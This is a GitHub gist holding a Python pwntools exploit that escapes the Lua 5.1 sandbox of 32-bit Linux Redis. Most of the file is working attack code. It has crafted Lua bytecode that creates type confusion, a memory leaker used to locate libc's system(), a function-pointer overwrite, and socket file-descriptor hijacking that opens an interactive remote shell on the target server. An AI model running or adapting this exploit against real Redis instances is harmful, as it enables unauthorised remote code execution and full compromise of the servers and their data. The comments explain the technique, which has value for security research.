Created
February 24, 2017 09:29
-
-
Save c3c/8ad6743eb9634da90d9b05cb53d54b43 to your computer and use it in GitHub Desktop.
Redis Lua 5.1 sandbox escape 32-bit Linux exploit
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
## Redis Lua 5.1 sandbox escape 32-bit Linux exploit | |
## Original exploit by corsix and sghctoma | |
## Author: @c3c | |
## It's possible to abuse the Lua 5.1 sandbox to obtain RCE by loading modified bytecode | |
## This concept is fully explained on corsix' gist at https://gist.github.com/corsix/6575486 | |
## This version uses pieces of the 32-bit Windows exploit made by corsix and the 64-bit Linux exploit made by sghctoma; as expected, a few offsets were different | |
## sghctoma's exploit uses the arbitrary memory read to leak pointers to libc and find the address of "system" http://paper.seebug.org/papers/Security%20Conf/Defcon/2015/DEFCON-23-Tamas-Szakaly-Shall-We-Play-A-Game.pdf | |
## This code is much the same, except the process is done using pwntools' DynELF | |
## Furthermore, attempting to leak addresses in libc appears to cause segfaults on my 32-bit Linux, in which case, you will need to obtain the remote libc version | |
## Lastly, only 8 bytes are available to send a shell command to the server. | |
## Due to the size restrictions, we hijack the filedescriptor of the current socket and effectively execute "sh <&5 >&5" (or another FD) in two steps | |
from pwn import * | |
FD = 6 # filedescriptor to use - will probably be different for your target | |
r = remote("127.1", 6379) | |
libc = ELF("libc-2.3.4.so") # currently we need to have a local copy of libc as leaking the BuildID will cause a segfault | |
#context.log_level = 'debug' | |
LUA_FUNCTIONS = r""" | |
local asnum = loadstring((string.dump(function(x) | |
for i = x, x, 0 do | |
return i | |
end | |
end):gsub("\96%z%z\128", "\22\0\0\128"))) | |
local function double_to_dwords(x) | |
if x == 0 then return 0, 0 end | |
if x < 0 then x = -x end | |
local m, e = math.frexp(x) | |
if e + 1023 <= 1 then | |
m = m * 2^(e + 1074) | |
e = 0 | |
else | |
m = (m - 0.5) * 2^53 | |
e = e + 1022 | |
end | |
local lo = m % 2^32 | |
m = (m - lo) / 2^32 | |
local hi = m + e * 2^20 | |
return lo, hi | |
end | |
local function dwords_to_double(lo, hi) | |
local m = hi % 2^20 | |
local e = (hi - m) / 2^20 | |
m = m * 2^32 + lo | |
if e ~= 0 then | |
m = m + 2^52 | |
else | |
e = 1 | |
end | |
return m * 2^(e-1075) | |
end | |
local function add_dword_to_double(x, n) | |
local lo, hi = double_to_dwords(x) | |
return dwords_to_double(lo + n, hi) | |
end | |
local function dword_to_string(x) | |
local b0 = x % 256; x = (x - b0) / 256 | |
local b1 = x % 256; x = (x - b1) / 256 | |
local b2 = x % 256; x = (x - b2) / 256 | |
local b3 = x % 256 | |
return string.char(b0, b1, b2, b3) | |
end | |
local logval = {} | |
local function logit(msg) | |
logval[0] = msg | |
end | |
rawset(_G, "logval", logval) | |
rawset(_G, "logit", logit) | |
rawset(_G, "add_dword_to_double", add_dword_to_double) | |
rawset(_G, "asnum", asnum) | |
rawset(_G, "double_to_dwords", double_to_dwords) | |
rawset(_G, "dwords_to_double", dwords_to_double) | |
rawset(_G, "dword_to_string", dword_to_string) | |
-- stop garbage collecting | |
collectgarbage "stop" | |
-- unhook any installed debug hook | |
debug.sethook() | |
""" | |
LUA_TEMPLATE = r""" | |
local f = loadstring(string.dump(function() | |
local magic = nil | |
local function middle() | |
local print = print | |
local asnum = asnum | |
local double_to_dwords = double_to_dwords | |
local add_dword_to_double = add_dword_to_double | |
local dwords_to_double = dwords_to_double | |
local upval | |
local logit = logit | |
local lo, hi | |
local function put_into_magic(n) | |
upval = 2^52 .. "p" .. "CE3CCE3C" .. dword_to_string(n) | |
local upval_ptr = dword_to_string(asnum(upval) - 2^52 + 16 + 20) | |
magic = upval_ptr .. upval_ptr | |
end | |
{payload} | |
end | |
middle() | |
end):gsub("(\100%z%z%z)....", "%1\0\0\0\1", 1)) | |
coroutine.wrap(f)() | |
-- we're using a global logger that uses a dictionary - otherwise we'd get a segfault | |
-- this is used to return the leaked pointer back to the current redis connection | |
return logval[0] | |
""" | |
LUA_LEAKER = LUA_TEMPLATE.format(payload=r""" | |
local address = {address} | |
put_into_magic(asnum(address)) | |
lo, hi = double_to_dwords(asnum(magic)) | |
logit(lo) | |
""") | |
LUA_COWRITE = LUA_TEMPLATE.format(payload=r""" | |
local address = {address} | |
local command = dwords_to_double({command[0]}, {command[1]}) -- e.g. sh <&5 | |
local luastate_bkp | |
-- we have to define numbers as local variables as further on, we'll corrupt the call frame | |
local n0 = 0 | |
local n16 = 16 | |
-- type confusion trick as explained by corsix | |
do local l0 = 2^52 local l1, l2, l3, l4, l5, l6, l7 = l0, l0, l0, l0, l0, l0, l0 end | |
local co = coroutine.wrap(function() end) -- coroutine.wrap creates a CClosure whose function pointer is set to luaB_auxwrap | |
local luastate = asnum(coroutine.running()) -- get the address of current "lua_State" | |
-- put luaB_auxwrap's address into "magic" and make it so CClosure::f points to system() | |
-- note: n12 points to CClosure::env, we're immediately skipping to ::f here, | |
-- also because if we don't, we don't seem to be able to set values higher than 0x7ff00000 in the higher bits (something to do with dwords to float conversion?) | |
put_into_magic(add_dword_to_double(asnum(co), n16)) | |
local auxwrap, hi = double_to_dwords(asnum(magic)) | |
magic = dwords_to_double(address, n0) -- sets co's CClosure::f to the defined address ('system') | |
-- save the current lua_State | |
put_into_magic(luastate) | |
luastate_bkp = asnum(magic) | |
-- put luastate into magic - we're using this buffer for our shell arguments | |
-- we can only execute commands in 8 byte chunks so we need to be smart about it =) | |
put_into_magic(luastate) | |
magic = command | |
co() -- trigger the coroutine, effectively calling our address | |
-- restore the original lua_State | |
put_into_magic(luastate) | |
magic = luastate_bkp | |
""") | |
log.debug("\n==== Generated leaker function ====\n" + LUA_LEAKER + "\n========") | |
log.debug("\n==== Generated coroutined overwrite function ====\n" + LUA_COWRITE + "\n========") | |
# redis has its own binary protocol which we're emulating here | |
def gen_redis_proto(*args): | |
proto = '' | |
proto += '*' + str(len(args)) + '\r\n' | |
for arg in args: | |
proto += '$' + str(len(arg)) + '\r\n' | |
proto += str(arg) + '\r\n' | |
return proto | |
## STEP 1: define helper functions | |
# first we define a number of helper functions on the redis server | |
# this uses the "rawset" trick to make them persist in the global scope | |
log.info("Installing helper functions on the server") | |
r.send(gen_redis_proto("eval", LUA_FUNCTIONS, '0')) | |
r.recvline() | |
## STEP 2: leak the necessary addresses | |
# leaker function for pwntools' DynELF class | |
# the leak function will send crafted EVAL statements to the server which will leak 4 bytes of memory at the supplied address | |
def leak(address): | |
r.send(gen_redis_proto("eval", LUA_LEAKER.format(address=str(address)), '0')) | |
data = r.recvline() | |
if not data.startswith(":"): # ints returned by the server will start with a colon in redis' binary protocol | |
log.error("Invalid response from redis server") | |
data = p32(int(data.split(":")[1])) | |
log.debug("%#x => %s" % (address, (data or '').encode('hex'))) | |
return data | |
# start leaking and get the library base addresses from the link_map | |
# pwntools will do this transparently as follows: | |
# - from the program base address, locate the program header table (PHT) | |
# - in the PHT, find the offset to the DT_DEBUG table | |
# - in the DT_DEBUG table we find the pointer to the link_map | |
# - the link_map contains the addresses for all the loaded libraries | |
d = DynELF(leak, 0x8048000) | |
libbases = d.bases() | |
libc_base = None | |
for key,val in libbases.iteritems(): | |
if "libc" in key: | |
libc_base = val | |
break | |
assert libc_base is not None | |
log.success("Found libc (%s) mapped at: 0x%08x" % (key, val)) | |
libc.address = libc_base | |
libc_system = libc.symbols["system"] | |
log.success("Remote libc 'system' address: 0x%08x" % libc_system) | |
## STEP 3: overwrite the CClosure::f pointer to libc_system | |
command = "sh <&%d" % FD # this step allows us to execute commands by redirecting the socket to stdin of the shell | |
command = struct.unpack("<LL", command.ljust(8,'\x00')) | |
r.send(gen_redis_proto("eval", LUA_COWRITE.format(address=str(libc_system), command=map(str,command)), '0')) | |
log.info("Sent our payload. Dup'ing file descriptor now to get output") | |
r.sendline("sh >&%d 2>&%d" % (FD,FD)) # this step allows us to execute commands by redirecting the shell output to the socket | |
log.info("If there's no shell you may need a different file descriptor. If the server crashed, your libc version is probably wrong.") | |
r.clean() | |
r.interactive() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment